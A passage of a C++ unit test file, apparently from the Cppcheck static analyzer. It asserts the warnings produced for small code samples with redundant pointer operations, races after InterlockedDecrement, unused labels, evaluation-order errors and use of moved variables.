true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n 